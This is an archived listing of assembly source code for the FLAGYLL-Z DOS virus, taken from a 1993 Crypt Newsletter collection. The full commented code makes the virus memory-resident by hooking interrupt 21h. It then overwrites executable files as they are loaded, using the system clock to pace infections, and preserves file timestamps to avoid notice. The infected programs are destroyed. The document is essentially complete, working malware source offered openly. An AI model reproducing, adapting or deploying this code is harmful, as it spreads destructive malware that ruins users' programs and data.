home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CRYPT13.ZIP / FLAGYLLZ.ASM < prev    next >
Assembly Source File  |  1993-02-24  |  7KB  |  252 lines

  1. ;FLAGYLL-Z virus - edited for Crypt Newsletter 13               
  2. ;FLAGYLL is a memory resident, overwriting virus which
  3. ;infects and destroys .EXE files on load.
  4. ;FLAGYLL-Z's infections are modulated by a routine which
  5. ;uses the system clock as a random trigger.  When .EXEfiles
  6. ;are loaded, FLAGYLL-Z will only infect if the current
  7. ;time - in seconds - is below 10.
  8. ;FLAGYLL-Z preserves the time-date stamps of infected files.
  9. ;.EXE's infected by FLAGYLL-Z are destroyed.  DOS will either
  10. ;refuse to load them or FLAGYLL-Z will become resident
  11. ;as they execute.  These programs are ruined and can only
  12. ;be deleted.
  13.            
  14.            
  15.            .radix 16
  16.      cseg       segment
  17.         model  small
  18.         assume cs:cseg, ds:cseg, es:cseg
  19.  
  20.         org 100h
  21.  
  22. oi21            equ endflagyll             
  23. filelength      equ endflagyll - begin     ; virus length
  24. nameptr         equ endflagyll+4
  25. DTA             equ endflagyll+8
  26.           
  27. begin:          jmp     install_flagyll                              
  28.                          ; install
  29. install_flagyll:  
  30.         
  31.         mov     ax,cs                    ; reduce memory size     
  32.         dec     ax                           
  33.         mov     ds,ax                        
  34.         cmp     byte ptr ds:[0000],5a    ; check if last memory     
  35.         jne     cancel                   ; block     
  36.         mov     ax,ds:[0003]                 
  37.         sub     ax,100                   ; decrease memory     
  38.         mov     ds:0003,ax
  39.  
  40.  
  41. copy_flagyll:  
  42.         mov     bx,ax                    ; copy to claimed block  
  43.         mov     ax,es                    ; PSP    
  44.         add     ax,bx                    ; virus start in memory   
  45.         mov     es,ax
  46.         mov     cx,offset endflagyll - begin  ; cx = length of virus                  
  47.         mov     ax,ds                    ; restore ds   
  48.         inc     ax
  49.         mov     ds,ax
  50.         lea     si,ds:[begin]            ; point to start of virus
  51.         lea     di,es:0100               ; point to destination   
  52.         rep     movsb                    ; copy virus in memory   
  53.  
  54. hook_21:                                     
  55.         
  56.         mov     ds,cx                   ; hook interrupt 21h
  57.         mov     si,0084h                ; 
  58.         mov     di,offset oi21
  59.         mov     dx,offset check_exec
  60.         lodsw
  61.         cmp     ax,dx                   ;
  62.         je      cancel                  ; exit, if already installed
  63.         stosw
  64.         movsw
  65.         
  66.         push    es 
  67.         pop     ds
  68.         mov     ax,2521h               ; revector int 21h to virus
  69.         int     21h
  70.                      
  71. cancel:         ret          
  72.  
  73. check_exec:                                    ; look over loaded files
  74.         pushf                          ; for executables
  75.  
  76.         push    es                     ; push everything onto the
  77.         push    ds                     ; stack
  78.         push    ax
  79.         push    bx
  80.         push    dx
  81.  
  82.         cmp     ax,04B00h               ; is a file being 
  83.                         ; executed ?
  84.         
  85.         
  86.         jne     abort                   ; no, exit
  87.  
  88. do_infect:      
  89.  
  90.  
  91.         call    infect                ; then try to infect
  92.  
  93. abort:                                        ; restore everything
  94.         pop     dx
  95.         pop     bx
  96.         pop     ax
  97.         pop     ds
  98.         pop     es
  99.         popf
  100.  
  101. exit:      
  102.                          ; exit
  103.         jmp     dword ptr cs:[oi21]                     
  104.  
  105.  
  106.  
  107. infect:          
  108.         jmp     over_id               ; it's a vanity thing
  109.  
  110. note:           db      '-=[Crypt Newsletter 13]=-'
  111.  
  112.  
  113. over_id:        
  114.         mov     cs:[name_seg],ds       ; this routine
  115.         mov     cs:[name_off],dx       ; essentially grabs
  116.                            ; the name of the file
  117.         cld                                ; clear direction flags
  118.         mov     word ptr cs:[nameptr],dx ; save pointer to the filename
  119.         mov     word ptr cs:[nameptr+2],ds
  120.  
  121.         mov     ah,2Fh                    ; get old DTA
  122.         int     21h
  123.         push    es
  124.         push    bx
  125.  
  126.         push    cs                        ; set new DTA
  127.  
  128.         pop     ds
  129.         mov     dx,offset DTA
  130.         mov     ah,1Ah
  131.         int     21h
  132.  
  133.         call    searchpoint              ; find filename for virus
  134.         push    di
  135.         mov     si,offset COM_txt       ; is extension 'COM' ?
  136.  
  137.         mov     cx,3
  138.      rep    cmpsb 
  139.         pop     di
  140.         jz      return                  ; if so, let it pass by
  141.         mov     si,offset EXE_txt       ; is extension .EXE ?
  142.         nop
  143.         mov     cl,3
  144.         rep     cmpsb
  145.         jnz     return
  146.  
  147.         mov     ah,2Ch               ; DOS get system time.                      
  148.         int     21h                  ; <--alter values to suit        
  149.         cmp     dh,10                ; is seconds > 10?
  150.         jg      return               ; if so, be quiet
  151.                          ; this slows down the  
  152.                          ; infection so computing is
  153.                          ; horribly disrupted when the
  154. do_exe:                                      ; virus is in memory
  155.         
  156.         mov     ax,4300h             ; clear attributes
  157.         mov     ds,cs:[name_seg]
  158.         mov     dx,cs:[name_off]
  159.         int     21h
  160.         and     cl,0feh                
  161.         mov     ax,4301h
  162.         int     21h               
  163.         
  164.         mov     ds,cs:[name_seg]   ; open file read/write
  165.         mov     dx,cs:[name_off]
  166.         mov     ax,3D02h             
  167.         int     21h            
  168.         jc      close_file
  169.         push    cs
  170.         pop     ds
  171.         mov     [handle],ax          
  172.         mov     bx,ax               
  173.  
  174. get_date:       mov     ax,5700h        
  175.         int     21h       
  176.         push    cs
  177.         pop     ds
  178.         mov     [date],dx      
  179.         mov     [time],cx
  180.         
  181.         push    cs
  182.         pop     ds
  183.         mov     ax,4200h          ; move pointer to beginning of file
  184.         
  185.         push    cs
  186.         pop     ds
  187.         mov     bx,[handle]
  188.         xor     cx,cx
  189.         xor     dx,dx
  190.         int     21h
  191.         
  192.         mov     ah,40             ; write to file
  193.         mov     cx,filelength     ; length of Flagyll in CX 
  194.         mov     dx,100            ; start at beginning of Flagyll
  195.         int     21h               ; write Flagyll to file
  196.         
  197.         call    restore_date
  198.  
  199. close_file:     mov     bx,[handle]
  200.         mov     ah,03Eh           ; close file         
  201.         int     21h
  202.         
  203.         mov     ax,4C00h          ; exit to DOS
  204.         int     21h
  205.  
  206. return:         mov     ah,1Ah                 
  207.         pop     dx                ; restore old DTA
  208.         pop     ds
  209.         int     21H
  210.  
  211.         ret                            
  212.  
  213.  
  214. searchpoint:    les     di,dword ptr cs:[nameptr]
  215.         mov     ch,0FFh
  216.         mov     al,0
  217.      repnz  scasb
  218.         sub     di,4
  219.         ret
  220.  
  221. restore_date:      
  222.         push    cs                       
  223.         pop     ds
  224.         mov     bx,[handle]
  225.         mov     dx,[date]
  226.         mov     cx,[time]
  227.         mov     ax,5701h
  228.         int     21h
  229.         ret
  230.  
  231.  
  232.         
  233.  
  234. EXE_txt         db  'EXE',0      ; extension masks
  235. COM_txt         db  'COM',0      ; for host selection
  236.  
  237. name_seg        dw  ?            ; data buffers for virus action
  238. name_off        dw  ?            ; on the fly
  239. handle          dw  ?
  240. time            dw  ?
  241. date            dw  ?
  242. note2:           db     'Flagyll-Z' ; virus name
  243.  
  244. endflagyll:
  245.  
  246.  
  247. cseg            ends
  248.         end begin
  249.  
  250.  
  251.  
  252.